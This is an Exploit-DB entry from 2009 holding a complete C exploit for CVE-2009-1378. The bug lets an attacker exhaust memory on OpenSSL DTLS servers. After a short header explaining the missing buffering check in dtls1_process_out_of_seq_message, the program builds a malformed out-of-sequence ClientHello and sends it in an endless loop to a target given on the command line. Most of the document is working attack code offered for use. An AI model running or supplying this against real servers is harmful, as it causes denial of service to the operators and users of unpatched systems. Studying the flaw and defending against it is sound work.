OpenSSL 0.9.8k/1.0.0-beta2 - DTLS Remote Memory Exhaustion Denial of Service

EDB-ID:

8720


Platform:

Multiple

Published:

2009-05-18

/*
 * cve-2009-1378.c
 *
 * OpenSSL <= 0.9.8k, 1.0.0-beta2 DTLS Remote Memory Exhaustion DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1378
 *
 *   In dtls1_process_out_of_seq_message() the check if the current message is 
 *   already buffered was missing. For every new message was memory allocated, 
 *   allowing an attacker to perform an denial of service attack with sending 
 *   out of seq handshake messages until there is no memory left.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1378.c -o cve-2009-1378
 *   $ ./cve-2009-1378 1.2.3.4 666
 *
 * Notes:
 *
 *   With a MTU of 1500, the attack leaks 1503 bytes of memory with each UDP
 *   datagram.  If you have a bigger MTU than 1500, feel free to set it.
 *
 *   Complete memory exhaustion may take a while depending on the throughput 
 *   to the target and the amount of memory it has.  By default, we'll just 
 *   continue sending datagrams indefinitely.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

#define MTU 1500

#define IP_HDR_LEN 20
#define UDP_HDR_LEN 8
#define MAX_LEN (MTU - IP_HDR_LEN - UDP_HDR_LEN)

#define put16(b, data) ( \
        (*(b) = ((data) >> 8) & 0xff), \
        (*((b)+1) = (data) & 0xff))

int
main(int argc, char **argv)
{
	int sock, ret;
	char *ptr, *err;
	struct hostent *h;
	struct sockaddr_in target;
	char buf[MAX_LEN];

	if (argc < 3) {
		err = "Pass the host and port of the target DTLS server";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	h = gethostbyname(argv[1]);
	if (!h) {
		err = "Unknown host specified";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	target.sin_family = h->h_addrtype;
	memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
	target.sin_port = htons(atoi(argv[2]));

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		err = "Failed creating UDP socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
	if (ret == -1) {
		err = "Failed to connect socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	ptr = buf;

	/* header  */
	memcpy(ptr, "\x16\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00", 11);
	ptr += 11;

	/* packet length */
	put16(ptr, MAX_LEN - ((ptr - buf) + 2));
	ptr += 2;
	
	/* client hello */
	memcpy(ptr, "\x01", 1);
	ptr += 1;
	
	/* length */
	memcpy(ptr, "\x00", 1);
	ptr += 1;
	put16(ptr, MAX_LEN - ((ptr - buf) + 2 + 8));
	ptr += 2;

	/* sequence number */
	memcpy(ptr, "\x00\x01", 2);
	ptr += 2;

	/* frag offset */
	memcpy(ptr, "\x00\x00\x00", 3);
	ptr += 3;

	/* length */
	memcpy(ptr, "\x00", 1);
	ptr += 1;
	put16(ptr, MAX_LEN - ((ptr - buf) + 2));
	ptr += 2;

	/* payload */
	memset(ptr, '\x00', MAX_LEN - (ptr - buf));

	printf("[+] Firing loads of packets at %s:%s...\n", argv[1], argv[2]);

	while (1) {
		send(sock, buf, MAX_LEN, 0);
	}

	close(sock);

	return 0;
}

// milw0rm.com [2009-05-18]